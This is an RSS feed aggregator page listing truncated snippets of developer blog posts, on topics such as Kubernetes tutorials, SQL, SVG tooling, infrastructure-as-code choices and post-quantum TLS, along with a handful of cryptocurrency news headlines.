    This scenario teaches you how to see what will change in the cluster BEFORE applying YAML, similar to Git diff but for Kubernetes. This is extremely useful in real DevOps workflows, especially CI/CD pipelines. Most cloud environments (GKE, EKS, AKS, Cloud Shell) already have it. Check: kubectl diff --help If it shows help output, you're good. Create file: # diff-deploy.yaml apiVersion: apps/v1 kind: Deployment metadata: name: diff-nginx spec: replicas: 2 selector: matchLabels: app: diff-nginx template: metadata: labels: app: diff-nginx spec: containers: - name: nginx image: nginx:1.21 ports: - containerPort: 80 Apply it: kubectl apply -f diff-deploy.yaml Verify: kubectl get deploy diff-nginx kubectl get pods -l …  ( 7 min )
    The Hidden Cost of Outdated Maps: Why Your Connected Car's Software is Only as Good as its Geospatial Data
    In the age of connected cars, over-the-air (OTA) updates, and advanced driver-assistance systems (ADAS), we often focus on the gleaming software features and sophisticated AI. Yet, there's a foundational layer that often gets overlooked, silently undermining the performance and safety of these cutting-edge vehicles: the geospatial data – your car's navigation maps. Many developers and product managers focus heavily on the user interface, routing algorithms, or new infotainment apps. But what happens when the map data itself is stale? The consequences range from minor frustrations to significant safety hazards, often revealing the true "technical debt" of an overlooked data pipeline. The Disconnect: Advanced Features vs. Obsolete Reality Imagine developing a sophisticated EV routing algorit…  ( 8 min )
    Learning SQL: The Language Behind Your Data
    Ever since I started getting interested in data and databases, SQL kept coming up everywhere. Job descriptions mentioned it, developers talked about it, and every data tutorial seemed to assume you knew it. I knew I should learn it, but something about "writing queries" and "working with databases" sounded... technical. Intimidating, even. What is SQL, anyway? SQL stands for Structured Query Language, but that formal name doesn't really tell you much. Here's what it actually is: it's how you ask questions to a database. SELECT * FROM users; I hit "Run" and... boom. A table full of data appeared on my screen. It felt too easy. Like there had to be more to it. But nope,that simplicity is exactly what makes SQL so useful. became my bread and butter. These two let me filter through data and g…  ( 8 min )
    The Last SVG Tool You’ll Ever Need: A Zero-Dependency Alternative to SVGR
    The SVG Mess We All Live In Let’s be honest: handling SVGs in modern web development is a fragmented mess. If you're on a React project, you npm install @svgr/webpack. The moment you switch to a Vue project, you're wrestling with vite-svg-loader. Working on a Svelte app? Time to find another package. Each tool comes with its own API, its own configuration, and—worst of all—its own mountain of transitive dependencies. A simple npm install @svgr/cli can dump over 15 packages and 18MB into your node_modules. This isn't just about disk space. It's about: Slower CI/CD pipelines A larger security attack surface Inconsistent workflows across your projects We've normalized this "one tool per framework" approach, but it's an anti-pattern. It’s time for a better solution. svger-cli: The Un…  ( 9 min )
    Audio Converter AI Review: Fast and Accurate AI Audio-to-Text Transcription
    In an era where audio content is everywhere — from lectures and webinars to podcasts and business meetings — the ability to convert speech into editable text quickly and accurately is crucial. Audio Converter AI is a web-based tool that promises high-accuracy AI transcription, speaker recognition, timestamps, and smart notes — all without signing up. The first impression is simplicity. The homepage guides you directly to upload audio files, with no distractions or complicated menus. You can: Drag and drop your audio (up to 1GB per file). Queue up to five files at a time. Choose your desired transcription options instantly. Everything happens in-browser, which means no installation is needed, and the interface is intuitive for students, content creators, and business professionals alike. H…  ( 7 min )
    Right Team, Right Funding: The Unseen Connection
    Right Team, Right Funding: The Unseen Connection In the high-stakes world of entrepreneurship, having a brilliant idea is just the beginning. The team behind your venture is crucial in securing the funding needed to bring your vision to life. Investors don't just bet on ideas—they bet on people. So, how can the right team enhance your ability to raise funds? Diverse Skillsets Attract Interest A well-rounded team with diverse skills can cover various aspects of business growth, from technical development to marketing strategy. This diversity not only demonstrates preparedness but also reduces perceived risk for investors, increasing their likelihood of backing your project. Proven Track Record Builds Trust Investors look for teams with a history of success. A proven track record, whether in past ventures or relevant industry experience, can significantly boost investor confidence. Highlighting a team member's previous successes in pitches can be a game-changer. Unified Vision Inspires Confidence A team that shares a unified vision showcases stability and commitment, key factors for investors. Consistency in your pitch and clear communication of goals indicate that the team is on the same page, ready to tackle challenges together. Leveraging technology like LeKlub-AI can make finding your perfect co-founder easier, ensuring your team has the right mix of skills and experience. Why leave it to chance when AI can help craft your dream team? Ready to match with your ideal co-founder and increase your funding chances? Try LeKlub-AI today and build a team that investors can't resist.  ( 6 min )
    Building a Decision-Making CLI Tool in Rust: "should-i"
    Introduction "What should I have for lunch?" "Should I try this new library?" From daily small decisions to technical choices, we face countless decisions every day. Why not let the universe decide for you? I built a CLI tool called "should-i" that helps you make decisions by consulting the yesno.wtf API. In this article, I'll share the implementation details and technical insights. should-i is a simple CLI tool that answers your questions with YES/NO/MAYBE. It also returns a GIF image URL, making the experience more engaging and visual. With the --open option, the tool automatically opens the response GIF in your browser: $ should-i "take a coffee break" --open 🎲 Asking the universe... ✅ YES! Do it! 🎉 🖼️ https://yesno.wtf/assets/yes/3.gif # Browser opens with the GIF automatically …  ( 12 min )
    🎯 Scenario #8 — Deploy a ReplicaSet and Verify Self-Healing of Pods in Kubernetes
    ReplicaSets ensure that the desired number of Pods is always running. If a Pod is deleted manually → ReplicaSet AUTO-CREATES a new one. # rs-nginx.yaml apiVersion: apps/v1 kind: ReplicaSet metadata: name: nginx-rs spec: replicas: 3 selector: matchLabels: app: nginx-demo template: metadata: labels: app: nginx-demo spec: containers: - name: nginx image: nginx:1.25 ports: - containerPort: 80 Apply: kubectl apply -f rs-nginx.yaml kubectl get rs kubectl get pods -o wide You should see 3 Pods with random hash-like suffixes: nginx-rs-7dd8f995f5-rkzfx nginx-rs-7dd8f995f5-pxbgl nginx-rs-7dd8f995f5-7cj2p Pick any one: kubectl delete pod nginx-rs-7dd8f995f5-rkzfx Watch Pods: kubectl get pods -w Expected behavior: Deleted Pod goes away ReplicaSet automatically creates a NEW pod Count stays at 3 always Example: pod "nginx-rs-xxx" deleted pod "nginx-rs-newxxx" created 🎉 ReplicaSet self-healing verified! ⚠️ Self-Healing Works Only If Labels Match Selector If you edit the Pod labels: kubectl label pod POD_NAME app- → ReplicaSet stops managing it Increase replicas: kubectl scale rs nginx-rs --replicas=5 Decrease: kubectl scale rs nginx-rs --replicas=2 🌟 Thanks for reading! If this post added value, a like ❤️, follow, or share would encourage me to keep creating more content. — Latchu | Senior DevOps & Cloud Engineer ☁️ AWS | GCP | ☸️ Kubernetes | 🔐 Security | ⚡ Automation 📌 Sharing hands-on guides, best practices & real-world cloud solutions  ( 7 min )
    Dynamic Theming: A Developer’s Guide to Adaptive Color in UI
    Cover Photo by Peter Olexa on Unsplash You've probably noticed it. You're watching a video on YouTube in dark mode, and the area around the video starts to softly glow, picking up the colors from the content itself. That, my friends, is "Ambient Mode." It's a subtle but powerful UI technique that makes the experience feel more immersive and integrated. It looks like a complex, big-budget feature, but what if I told you it's an effect you can add to your own projects? This isn't just a gimmick. It's a powerful way to create a more cohesive user experience. But how do they do it? And how can we do it without a massive engineering team? Let's dig in. When YouTube rolled out its redesign in October 2022, Ambient Mode was the star. According to their design team, they use "dynamic color samplin…  ( 9 min )
    Choosing the correct IaC tool
    How to Choose the Right IaC tool ? Cloud strategy: If AWS-only → CloudFormation is very strong. If multi-cloud/hybrid → Terraform or Pulumi shine. Team skillset: If your team are software developers comfortable in Python/TypeScript → Pulumi may fit. If team are infra/devops engineers and you want a declarative DSL → Terraform. Configuration vs provisioning: If the focus is on provisioning infrastructure (network, compute, storage) → Terraform, Pulumi, CloudFormation. If focus is on configuring/making servers converge to a desired state (installing packages, OS config) → Ansible, Puppet, Chef. Ecosystem & scale: Larger enterprises may need features like drift detection, auditing, compliance controls. Tools like Puppet/Chef, or robust workflows around Terraform may matter. State & lifecycle management: E.g., Terraform’s state file, locking, remote back-ends. Understanding how updates happen, rollbacks, change sets (CloudFormation) is important. Emerging/modern patterns: Use of general-purpose languages for IaC (like Pulumi) and “infrastructure from code” (beyond just text templates) is gaining ground. Also interesting: Kubernetes-native abstractions (for container workloads) and GitOps patterns. Scenario Recommended Tool Why Multi-cloud / hybrid infra Terraform Provider-agnostic, reusable modules, strong ecosystem AWS-only environment CloudFormation Tight AWS integration, built-in drift detection Developer-driven org (Infra + App in code) Pulumi Uses familiar languages, good abstraction Config management or hybrid servers Ansible Simple agentless automation via SSH Azure-centric setup Bicep Simpler syntax over ARM templates Legacy enterprise infra Puppet / Chef Rich compliance and policy frameworks The Future of IaC The next evolution is Intelligent IaC, powered by Generative AI. Auto-generate Terraform from natural language prompts. Suggest optimal infrastructure topologies. Validate policies via LLMs. AI + IaC = Self-Healing Infrastructure !!! And we’re closer than you think.  ( 6 min )
    Building a Unique Developer Portfolio
    As a developer, I wanted to create a portfolio page that showcases my skills and experience in a unique way. I decided to go with a magazine-style concept, as it looks clean and easy to read. I divided my portfolio into three views: resume, timeline, and gallery. Each view displays the same career data but in a different format. Resume Page: A clean and traditional resume-style page. Timeline: A timeline view that organizes my experience in chronological order. Gallery: A gallery view that showcases my projects in detail. Each page has a distinct feel and purpose, allowing me to highlight different aspects of my portfolio. I experimented with various hover effects and settled on a color pencil underline effect. The implementation turned out better than expected. When creating the project details page, I worried that lengthy content would deter readers. To address this, I highlighted key points with underlines, making it easy to scan and understand the project's essence. The timeline's responsive design was the most challenging aspect. Initially, the columns would overflow, and overflow-x: auto would break the position: sticky property. After a day of troubleshooting, I resolved the issue using transform: scale(), which scales the entire timeline to fit within the viewport on smaller screens. On the resume and timeline pages, clicking on a project displays a brief summary in the sidebar. This design choice prevents the project overview from disrupting the page's flow, allowing readers to expand or collapse the summary as needed. Through this project, I learned that the way data is presented significantly impacts the user experience. I will continue to experiment with different formats and designs to create engaging and effective portfolios. You can visit my portfolio page at: https://readmekym.vercel.app/  ( 7 min )
    90-Day Proven Post-Quantum TLS Readiness Sprint
    Post-Quantum TLS Readiness: a 90-Day Remediation Sprint for SMBs This is a hands-on playbook to move an SMB from “we should look at PQC” to Post-Quantum TLS Readiness in 90 days—without breaking client traffic or chasing unstable stacks. You’ll inventory crypto, pilot hybrid KEM handshakes in staging, coordinate vendors, roll out PQ-ready configs with a clean rollback, and prove success with objective metrics. Why now: Cryptographically agile systems reduce migration risk when PQC is mandated by your customers or regulators. What changes: TLS 1.3 stays; key exchange adds a hybrid KEM group (e.g., X25519+ML-KEM/Kyber). Signatures for certificates and mTLS can remain ECDSA/RSA for now. How to do it safely: Pilot hybrids in staging, measure latency/CPU, deploy behind a feature flag / canar…  ( 11 min )
    Self-Healing Application Framework - Autonomous Issue Resolution with Agentic Postgres
    This is a submission for the Agentic Postgres Challenge with Tiger Data I built an autonomous self-healing system that detects application issues, tests fixes on isolated database forks, and applies solutions automatically - eliminating the need for 3 AM pages and manual incident response. As developers, we've all been there: woken up at 3 AM because the connection pool is exhausted, or watching response times spike due to a missing index. The same issues repeat across applications, yet we manually fix them every time. I wanted to build a system that learns from these experiences and heals itself. The framework uses three intelligent agents that work together: Monitor Agent - Continuously observes application health (error rates, response times, resource usage) Healer Agent - Searches a kn…  ( 10 min )
    🚀 Introducing Laravel ObjectId — The Fastest MongoDB-Style Identifier for Laravel Models
    Works seamlessly with MySQL, MariaDB, and PostgreSQL — no MongoDB required. Every Laravel developer has been there — you start a new project, define your migrations, and by default, your models use auto-incrementing IDs. It works fine... until your app grows, you need distributed systems, API integrations, or microservices. Suddenly, those integer IDs start to look like a limitation. That’s where Laravel ObjectId comes in — a drop-in, ultra-fast, globally unique identifier system inspired by MongoDB’s ObjectIds, designed for MySQL, MariaDB, and PostgreSQL — no MongoDB required. Unlike UUIDs or ULIDs, ObjectIds are compact 12-byte identifiers that encode timestamp, randomness, and a counter — making them sortable, lightweight, and unique across systems. In numeric terms, they’re up to 3× fa…  ( 8 min )
    How to Force Application Termination on Microsoft Windows
    On Microsoft Windows, an application can stop responding, and closing it using the GUI might be impossible. If you have ever found yourself in such a situation, I can tell you that you can close such an application using the Windows command line utility. The following steps are how to go about it. There are several ways to do this. You can click the Start menu icon (on Windows 11) and search for Command Prompt. Or, if you want, you can open CMD by doing the following: Open the Windows Run dialog box by pressing and holding both the Windows Key and R on your keyboard. Type cmd and press the enter key on your keyboard. Note the name of the application that you'd like to forcefully shut down. Then type the following in the CMD. The successful execution of the following command will list all t…  ( 7 min )
    WTF is Bare Metal Cloud?
    WTF is this: Bare Metal Cloud Ah, cloud computing – the magical land where our data and apps live, and we don't have to worry about the plumbing. Or do we? Today, we're going to talk about a type of cloud that's a bit more... well, let's just say, "down-to-earth." Say hello to the Bare Metal Cloud! What is Bare Metal Cloud? In simple terms, Bare Metal Cloud is a type of cloud computing where you rent a physical server (the "bare metal") from a provider, but still get the benefits of cloud-like flexibility and scalability. Think of it like renting a house – you get the whole place to yourself, but you still have to take care of the furniture and decor (i.e., the software and apps). With Bare Metal Cloud, you have complete control over the underlying hardware, which can be a big deal for cer…  ( 11 min )
    Google Play Approved: A Robust Compliance Solution for Android Devs
    Built for Google Play Compliance: Navigating the 14-Day Testing Requirement A Comprehensive Guide for Android Developers As an Android developer, you're likely no stranger to the complexities of publishing on the Google Play Store. With each update, new policies and requirements emerge, making it increasingly challenging to meet the standards set by Google. In November 2023, a significant change was introduced: all new personal developer accounts must complete 14 consecutive days of closed testing with at least 12 active testers. This policy shift has left many developers scrambling to adapt, but fear not – we've got you covered. In an effort to ensure the quality and security of apps published on its platform, Google introduced this new requirement. The goal is to provide a m…  ( 7 min )
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    The State of AI: Energy is king, and the US is falling behind
    Welcome to The State of AI, a new collaboration between the Financial Times and MIT Technology Review. Every Monday for the next six weeks, writers from both publications will debate one aspect of the generative AI revolution reshaping global power. This week, Casey Crownhart, senior reporter for energy at MIT Technology Review and Pilita Clark, FT’s…  ( 24 min )
  • Open

    Bitcoin's $100K Question: Here's Why BTC, XRP, SOL May Surge This Week
    Bitcoin has rebounded above $103,000, lifting altcoins.  ( 32 min )
    Crypto Prices Rise as Trump Announces ‘At Least’ $2K Tariff Dividend Per American
    The rally comes after a broader weekly slump, with the CoinDesk 20 (CD20) index recovering from a near 15% drawdown over the week.  ( 29 min )
    Wall Street is Bought in On Crypto’s Upside Potential, But Not Its Tech
    Despite record levels of institutional investment, most Wall Street firms are still trading off-chain, says Annabelle Huang, co-founder and chief executive officer of Altius Labs.  ( 33 min )
    U.S. Regulator That May Rule Over Digital Assets Pushing Toward Crypto Spot Trading
    The CFTC's interim boss, Caroline Pham, is said to be personally guiding exchanges on launching compliant products as she also overhauls the agency.  ( 41 min )
    Spain’s Civil Guard Arrests Alleged Leader of 260M Euro Crypto-Linked Ponzi Scheme
    The alleged Ponzi scheme attracted over 3,000 victims by offering guaranteed returns on contracts tied to various assets.  ( 30 min )
2025-11-23T20:20:02.797Z osmosfeed 1.15.1